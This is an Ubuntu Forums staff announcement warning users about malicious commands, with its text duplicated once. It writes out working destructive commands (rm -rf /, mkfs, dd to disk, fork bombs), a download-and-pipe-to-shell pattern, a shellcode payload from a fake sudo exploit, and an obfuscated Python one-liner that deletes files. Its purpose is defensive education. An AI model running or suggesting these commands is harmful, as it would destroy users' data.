Ubuntu Forums - Announcements in Forum : Repositories & Backports

jdong

I'd like to take a moment of your time to discuss a recent disturbing trend the staff has been noticing on the forums, and also take this as an opportunity to raise awareness of this situation through education.

We've recently had an increase in the number of dangerous commands being posted on the forums. Don't pretend you don't know what I mean -- commands that cause massive damage or disruption to the user's computer.

I'd just like to caution those thinking of doing this that UbuntuForums has a strict zero-tolerance policy when it comes to posting dangerous commands. If you post one of them, particularly in a support thread disguised as advice, expect to be instantly and permanently BANNED, at the account, e-mail, IP, or ISP level. I do not care about intent -- if you mean it as a joke, it is not funny. If you mean it as a lesson, go teach it somewhere else. This behavior is absolutely against the Forum Guidelines and Ubuntu Code of Conduct.

I'd also like to remind users to be cautious when someone tells you to run some command or download some script as a solution to your problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained to you and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). No matter how hard we try to stay on top of all posts in realtime, we are not perfect.

Regards,

The UbuntuForums Staff.

As requested by some, for the education of our users, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data -- many of them will even cause damage from a LiveCD environment.

Again, DANGEROUS COMMANDS -- look but DO NOT RUN.

Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right".

Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute.

Code:

rm -rf /
rm -rf .
rm -rf *

The only problem is that .., the link to the previous directory, will be matched by this and this will in turn delete everything above this directory level (oops!). A possible alternative that I can think of for this would be

Code:

rm -r .[^.]*

which will exclude the entry "..". Of course, it probably has limitations of not matching certain entries, fixing which is an exercise left to the reader.

Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.

Code:

mkfs
mkfs.ext3
mkfs.anything

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:

Code:

any_command > /dev/sda
dd if=something of=/dev/sda

Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)

Code:

:(){:|:&};:

In Perl

Code:

fork while fork

Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory

Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source

Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust

Code:

wget http://some_place/some_file
sh ./some_file

Code:

wget http://some_place/some_file -O- | sh

Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:

Code:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
                = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
                  "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
                  "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
                  "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
                  "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
                  "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
                  "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
                  "cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out.

Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!

For example, 30 seconds in Python yields something like this:

Code:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.

November 19th, 2007 until December 20th, 2010
jdong Ultimate Coffee Grinder Join Date: Oct 2004 Location: Cambridge. MA Beans: 5,063 Ubuntu 8.10 Intrepid Ibex	ATTENTION ALL USERS: Malicious Commands I'd like to take a moment of your time to discuss a recent disturbing trend the staff has been noticing on the forums, and also take this as an opportunity to raise awareness of this situation through education. We've recently had an increase in the number of dangerous commands being posted on the forums. Don't pretend you don't know what I mean -- commands that cause massive damage or disruption to the user's computer. I'd just like to caution those thinking of doing this that UbuntuForums has a strict zero-tolerance policy when it comes to posting dangerous commands. If you post one of them, particularly in a support thread disguised as advice, expect to be instantly and permanently BANNED, at the account, e-mail, IP, or ISP level. I do not care about intent -- if you mean it as a joke, it is not funny. If you mean it as a lesson, go teach it somewhere else. This behavior is absolutely against the Forum Guidelines and Ubuntu Code of Conduct. I'd also like to remind users to be cautious when someone tells you to run some command or download some script as a solution to your problem. When in doubt as to the safety of the procedure, it's always a good idea to wait for more opinions, and/or have the command explained to you and verify if the explanation makes sense by consulting readily available documentation on Linux commands (such as manpages). No matter how hard we try to stay on top of all posts in realtime, we are not perfect. Regards, The UbuntuForums Staff. As requested by some, for the education of our users, here are some common examples of dangerous commands that should raise a bright red flag. Again, these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data -- many of them will even cause damage from a LiveCD environment. Again, DANGEROUS COMMANDS -- look but DO NOT RUN. Also, this is far from an exhaustive list, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be disguised in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn't "feel right". Delete all files, delete current directory, and delete visible files in current directory. It's quite obvious why these commands can be dangerous to execute. Code: rm -rf / rm -rf . rm -rf * The only problem is that .., the link to the previous directory, will be matched by this and this will in turn delete everything above this directory level (oops!). A possible alternative that I can think of for this would be Code: rm -r .[^.]* which will exclude the entry "..". Of course, it probably has limitations of not matching certain entries, fixing which is an exercise left to the reader. Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem. Code: mkfs mkfs.ext3 mkfs.anything Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data: Code: any_command > /dev/sda dd if=something of=/dev/sda Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates. In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes) Code: :(){:\|:&};: In Perl Code: fork while fork Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should not touch data from an untrusted source Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses -- benign or malevolent. Do not execute code from people you don't trust Code: wget http://some_place/some_file sh ./some_file Code: wget http://some_place/some_file -O- \| sh Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address). A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload: Code: char esp[] __attribute__ ((section(".text"))) /* e.s.p release / = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; To the new or even lightly experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / &* which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don't need to be reading this announcement. Otherwise, remember that these things can come in very novel forms -- watch out. Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not! For example, 30 seconds in Python yields something like this: Code: python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' Where "sn!.sg!+" is simply rm -rf * shifted a character up. Of course this is a silly example -- I wouldn't expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.